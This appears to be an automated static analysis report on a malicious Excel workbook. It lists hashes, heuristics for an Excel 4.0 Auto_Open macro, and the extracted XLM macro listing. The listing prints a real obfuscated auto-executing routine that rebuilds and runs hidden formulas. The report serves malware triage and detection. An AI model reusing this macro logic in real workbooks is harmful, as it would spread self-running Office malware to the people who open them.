Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5ffdc21684414ee…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:35:16 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: ca21eb3a8b695d5f746fc53c4ac3a6d1 SHA-1: 0fdefabe3288900e47d09944583417f10cecb29c SHA-256: f5ffdc21684414eea79fc3f23a2bc7f82b804e03cedff7209ad2046014bd2333
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6561 bytes
SHA-256: 7e492663fa8f376099aaabbe21557eee97dec9b55b0bb53c90e6568ebde2cd43
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WcReZrxT
' 0018     20 LABEL : Cell Value, String Constant - AbFsO len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C168 
' 0018     25 LABEL : Cell Value, String Constant - BQezYQaYFS len=0 
' 0018     26 LABEL : Cell Value, String Constant - DLKPBBGOPdx len=0 
' 0018     21 LABEL : Cell Value, String Constant - fxIgmq len=0 
' 0018     26 LABEL : Cell Value, String Constant - HEwMVJYbWlE len=0 
' 0018     25 LABEL : Cell Value, String Constant - iGQkiCDBgr len=0 
' 0018     27 LABEL : Cell Value, String Constant - lsBuvNTPcdfE len=0 
' 0018     26 LABEL : Cell Value, String Constant - MFgBPoIYanN len=0 
' 0018     25 LABEL : Cell Value, String Constant - MLEdotacvU len=0 
' 0018     24 LABEL : Cell Value, String Constant - nkoHiizJJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - pDGWRuRcQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - rhexNvSLHgNF len=0 
' 0018     22 LABEL : Cell Value, String Constant - RyjukvY len=0 
' 0018     25 LABEL : Cell Value, String Constant - SFyjtPmsHN len=0 
' 0018     22 LABEL : Cell Value, String Constant - tVTYxMy len=0 
' 0018     20 LABEL : Cell Value, String Constant - TySJI len=0 
' 0018     20 LABEL : Cell Value, String Constant - uGGuu len=0 
' 0018     23 LABEL : Cell Value, String Constant - wOAGJwTq len=0 
' 0018     26 LABEL : Cell Value, String Constant - woPEMFfklCf len=0 
' 0018     23 LABEL : Cell Value, String Constant - yHDhWOEL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WcReZrxT,C75,"SET.NAME("tVTYxMy",VALUE("0"))",""
'  WcReZrxT,C77,"SET.NAME("AbFsO",tVTYxMy)",""
'  WcReZrxT,C80,"SET.NAME("rhexNvSLHgNF",tVTYxMy)",""
'  WcReZrxT,C82,"SET.NAME("nkoHiizJJ",COUNTA(MFgBPoIYanN))",""
'  WcReZrxT,C87,"SET.NAME("lsBuvNTPcdfE",COUNTA(SFyjtPmsHN))",""
'  WcReZrxT,C89,[],""
'  WcReZrxT,C92,"SET.NAME("wOAGJwTq","")",""
'  WcReZrxT,C96,"AbFsO",""
'  WcReZrxT,C101,"SET.NAME("MLEdotacvU",HLOOKUP("*",MFgBPoIYanN,AbFsO,FALSE))",""
'  WcReZrxT,C103,"TySJI",""
'  WcReZrxT,C106,"SET.NAME("pDGWRuRcQ",tVTYxMy)",""
'  WcReZrxT,C109,[],""
'  WcReZrxT,C113,"pDGWRuRcQ",""
'  WcReZrxT,C116,"DLKPBBGOPdx",""
'  WcReZrxT,C120,"BQezYQaYFS",""
'  WcReZrxT,C125,"fxIgmq",""
'  WcReZrxT,C129,"SET.NAME("RyjukvY",VALUE(HLOOKUP("*",SFyjtPmsHN,fxIgmq,FALSE)))",""
'  WcReZrxT,C131,"yHDhWOEL",""
'  WcReZrxT,C133,"wOAGJwTq",""
'  WcReZrxT,C137,"rhexNvSLHgNF",""
'  WcReZrxT,C141,NEXT(),""
'  WcReZrxT,C146,"woPEMFfklCf",""
'  WcReZrxT,C151,"SET.NAME("f",INT(T(FORMULA(T(wOAGJwTq)&"",""&T(woPEMFfklCf)))))",""
'  WcReZrxT,C156,"iGQkiCDBgr",""
'  WcReZrxT,C159,NEXT(),""
'  WcReZrxT,C164,RETURN(),""
'  WcReZrxT,C195,"SET.NAME("HEwMVJYbWlE",C75)",""
'  WcReZrxT,C198,"MFgBPoIYanN",""
'  WcReZrxT,C200,"SET.NAME("SFyjtPmsHN",R98C15)",""
'  WcReZrxT,C202,"SET.NAME("iGQkiCDBgr",211)",""
'  WcReZrxT,C206,"SET.NAME("uGGuu",3)",""
'  WcReZrxT,C210,HEwMVJYbWlE(),""
'  WcReZrxT,C211,HALT(),""

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